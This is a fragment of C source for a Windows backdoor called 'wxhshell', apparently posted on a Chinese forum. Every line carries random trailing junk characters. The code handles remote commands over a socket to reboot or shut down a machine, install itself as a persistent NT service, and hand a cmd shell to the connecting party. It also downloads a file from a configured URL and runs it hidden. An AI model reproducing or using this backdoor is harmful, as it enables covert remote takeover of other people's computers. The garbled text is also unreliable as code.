  case '?': { L(|K{vHh]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1Le8W)J  
    break; gnH {_  
  } i+14!LlI  
  // 安装 t"B3?<?]  
  case 'i': { Ue \A ,  
    if(Install()) YC1Bgz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Vme\Ke*v)  
    else +q pW"0[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ymm]+v5S.]  
    break; v]M:HzP  
    } ;U3:1hn  
  // 卸载 yP7b))AW9  
  case 'r': { R3G\Gchd  
    if(Uninstall()) f" Iui  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2|j=^  
    else ?1L<VL=b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }K?b2 6`  
    break; ;t*SG*Vi  
    } Gy \ ]j  
  // 显示 wxhshell 所在路径  +rv##Z  
  case 'p': { }<~(9_+  
    char svExeFile[MAX_PATH]; <%YW/k"o  
    strcpy(svExeFile,"\n\r"); `<g]p-=":  
      strcat(svExeFile,ExeFile); PPl o0R  
        send(wsh,svExeFile,strlen(svExeFile),0); t*= nI $  
    break; >c_fUX={  
    } oJD]h/fQs  
  // 重启 U@q5`4-!8  
  case 'b': { I\TSVJk^Xi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "m{i`<,  
    if(Boot(REBOOT)) OH06{I>;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i[[.1MnS  
    else { (nO2+@ !  
    closesocket(wsh); K+|XI|1p  
    ExitThread(0); ho$}#o  
    } HWV A5E[`Y  
    break; ogIu\kiZ  
    } EmaS/]X[  
  // 关机 c1E{J <pZ  
  case 'd': { Yeg<MrS4D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J.R]) &CB  
    if(Boot(SHUTDOWN)) MB;rxUbhe3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B>1,I'/$.  
    else { |yz[mP*;o  
    closesocket(wsh); FaCW +9B  
    ExitThread(0); 0 7Yak<+~  
    } w)|9iL8  
    break; pfZ[YC-  
    } ]A}ZaXd  
  // 获取shell '4M{Xn}@  
  case 's': { m!KEK\5M?  
    CmdShell(wsh); 3UXZ|!-  
    closesocket(wsh); g$NUu  
    ExitThread(0); x:0swZ5Z  
    break; AM=> P 7  
  } d;<'28A  
  // 退出 F5X9)9S  
  case 'x': { : j kO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C7F\Y1Wj  
    CloseIt(wsh); OCu_v%G 0  
    break; gbYM1guiD  
    } `^#4okg]  
  // 离开 =~JVU  
  case 'q': { iDcTO}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %Mj,\J!  
    closesocket(wsh); aAe`o2Xs  
    WSACleanup(); gs!'*U)  
    exit(1); oUn+tu:  
    break; w2xD1oK~o  
        } f3Zf97i  
  } Sed 8Q-m  
  } Ej)7[  
L{VnsY V  
  // 提示信息 y0Gblza  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c$,1j%[)  
} p@O Ip  
  } -HGRrWS  
4 .c1  
  return; QOK,-  
} >yKz8SV#  
E[#VWM I  
// shell模块句柄 ]&H"EHC<$  
int CmdShell(SOCKET sock) ;%d<Uk?  
{ I'BHNZO5tf  
STARTUPINFO si; TrzAgNt  
ZeroMemory(&si,sizeof(si)); Io*H}$Gf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m#_Rv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i7- i!`<  
PROCESS_INFORMATION ProcessInfo; eCR^$z=c  
char cmdline[]="cmd"; qpFxl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =8#.=J[/  
  return 0; ,mx\ -lWFy  
} ;Q,t65+Am  
aV7VbC  
// 自身启动模式 9[JUJ,#X'0  
int StartFromService(void) ;=$;h6W0  
{ lTu& 9)  
typedef struct ?\8  
{ Eoixw8hz  
  DWORD ExitStatus; f.$[?Fi  
  DWORD PebBaseAddress; d:|x e:  
  DWORD AffinityMask; C{$iuus0  
  DWORD BasePriority; PX/Y?DP  
  ULONG UniqueProcessId; .'A1Eoo0d  
  ULONG InheritedFromUniqueProcessId; 7omHorU+  
}   PROCESS_BASIC_INFORMATION; d)V8FX,t  
uWKmINjv'  
PROCNTQSIP NtQueryInformationProcess; ;<m*ASM.3  
"`cN k26JZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f8[O]MrO;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;G}  
,x1OQ jtY  
  HANDLE             hProcess; {H(l"KuL  
  PROCESS_BASIC_INFORMATION pbi; .xwskzJ3  
pTi7Xy!Cw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9tv,,I;iU  
  if(NULL == hInst ) return 0; OnE%D|Tq=  
q++\< \2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n_; s2,2r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5PZ!ZO&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0sU*3r?  
aL[6}U0(}  
  if (!NtQueryInformationProcess) return 0; Y!oLNGY  
}\S'oC\[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zMA;1Na  
  if(!hProcess) return 0; wdP(MkaV  
E"VF BKB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rxX4Cw]\"y  
hsrf2Xw[  
  CloseHandle(hProcess); "G%</G8M  
w>9d^kU'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vVSDPlN;  
if(hProcess==NULL) return 0; v=iiS}s  
Lfi6b%/z  
HMODULE hMod; iii|;v ]+  
char procName[255]; Z5(9=8hB/  
unsigned long cbNeeded; X-nC2[tu'W  
mj$Ucql  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X uE: dL?  
1|4,jm$  
  CloseHandle(hProcess); 3%5YUG@  
(eU4{X7  
if(strstr(procName,"services")) return 1; // 以服务启动 xE@/8h  
P #! N  
  return 0; // 注册表启动 gZ^Qt.6Z  
} QPB,B>Z  
;$&\ :-6A#  
// 主模块 XEA5A.uc  
int StartWxhshell(LPSTR lpCmdLine) cQhr{W,Un  
{ v]{UH {6  
  SOCKET wsl; k*)sz  
BOOL val=TRUE; YhV<.2^k  
  int port=0; R)k\  
  struct sockaddr_in door; I[k"I(  
:!g|pd[{ag  
  if(wscfg.ws_autoins) Install(); v =y 2  
;DK%!."%  
port=atoi(lpCmdLine); DNq(\@x[!  
s*la`(x  
if(port<=0) port=wscfg.ws_port; l[:Aq&[o3  
>-N(o2j3  
  WSADATA data; 1}a4AGAp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R]X 0D.  
vb]kh _  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *'{-!Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3<W%z]k@M  
  door.sin_family = AF_INET; :6lvX$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  iiQn/%  
  door.sin_port = htons(port); !5lV#w!vb  
an"~n`g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NCkI[d]B@  
closesocket(wsl); ISNL='%  
return 1; GqRXNs!  
} FiiDmhu  
I)'bf/6?  
  if(listen(wsl,2) == INVALID_SOCKET) { o:Kw<z,$H  
closesocket(wsl); -&Xv,:'?  
return 1; IyHbl_ P ^  
} m4@NW*G{  
  Wxhshell(wsl); /_l\7MeI  
  WSACleanup(); BJUj#s0$  
$!>.h*np  
return 0; K{ar)_V/  
.c-a$39  
} &$/ #"lW,V  
d)vP9vXy  
// 以NT服务方式启动 nte?a e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K#Ck,Y"  
{ lcZ.}   
DWORD   status = 0; *z VN6wG{  
  DWORD   specificError = 0xfffffff; Ll|_Wd.K,  
 %nY\"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7m-%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V+Tv:a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t 6nRg  
  serviceStatus.dwWin32ExitCode     = 0; P'U2hCif  
  serviceStatus.dwServiceSpecificExitCode = 0; @ye!? %  
  serviceStatus.dwCheckPoint       = 0; %BGg?&  
  serviceStatus.dwWaitHint       = 0; v,ssv{gU  
*7Q6b 4~"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EB*sd S  
  if (hServiceStatusHandle==0) return; iwJ_~   
2HFn\kjj.s  
status = GetLastError(); 1'<C-[1  
  if (status!=NO_ERROR) Bx#i?=*W  
{ .}!.4J%q2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7_i8'(``  
    serviceStatus.dwCheckPoint       = 0; Kb?{^\FiU  
    serviceStatus.dwWaitHint       = 0; ~'_cBJ 'XD  
    serviceStatus.dwWin32ExitCode     = status; ~+dps i  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?+d`_/IB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U0_^6zd_  
    return; 06pvI}   
  } _Ub `\ytx  
>lRZvf-i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G7CeWfS  
  serviceStatus.dwCheckPoint       = 0; X@`a_XAfd  
  serviceStatus.dwWaitHint       = 0; (P)G|2=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q|AZv>'!  
} 27eG8  
>u$8Z  
// 处理NT服务事件,比如:启动、停止 SQ>i:D;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) SL4?E<Jb  
{ qG6s.TcG  
switch(fdwControl) d<a|dwAeh  
{ O{LCHtN  
case SERVICE_CONTROL_STOP: '}_r/l]K  
  serviceStatus.dwWin32ExitCode = 0; C27:ty V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {]^Ixm-,f  
  serviceStatus.dwCheckPoint   = 0; ?mg@zq8  
  serviceStatus.dwWaitHint     = 0; 0\%g@j-aD  
  { &-ro pY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |ri)-Bk ,  
  } 9wWBE<}>u  
  return; $"kPzo~B_  
case SERVICE_CONTROL_PAUSE: lME>U_E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T0w_d_aS  
  break; &$ h~Q  
case SERVICE_CONTROL_CONTINUE: x z _sejKB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y"JR kJ  
  break; +Y%6y]8  
case SERVICE_CONTROL_INTERROGATE: y"q aa  
  break; [r/zBF-.  
}; &P?2H66s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j<<d A[X  
} FO2e7p^Q  
vQEV,d1  
// 标准应用程序主函数 Tz]R}DKB&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -* ,CMw  
{ $O%{l.-O  
nYyhQX~]B  
// 获取操作系统版本 @RoZd?  
OsIsNt=GetOsVer(); L80(9Y^xn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~Bzzu % S  
bKo %Ak,  
  // 从命令行安装 8 t5kou]h  
  if(strpbrk(lpCmdLine,"iI")) Install(); 11=$] K>  
'X?xn@?  
  // 下载执行文件 xl\Kj2^  
if(wscfg.ws_downexe) { $m4-^=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x)::^'74  
  WinExec(wscfg.ws_filenam,SW_HIDE); g@`i7qN  
} c5YPV"X  
iQ)ydY a  
if(!OsIsNt) { W7>2&$  
// 如果时win9x,隐藏进程并且设置为注册表启动 +<7Oj s>o  
HideProc(); >d/H4;8  
StartWxhshell(lpCmdLine); MYAt4cHc2  
} OR <+y~Rv  
else (@1:1K(   
  if(StartFromService()) 6CY&pbR  
  // 以服务方式启动 k +-w%  
  StartServiceCtrlDispatcher(DispatchTable); _[2@2q0  
else S&-K!XyJ  
  // 普通方式启动 x;/LOa{LR  
  StartWxhshell(lpCmdLine); #4^d#Gj  
B 71/nt9  
return 0; @]@|H?  
}
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只看该作者 1 发表于: 2006-10-10
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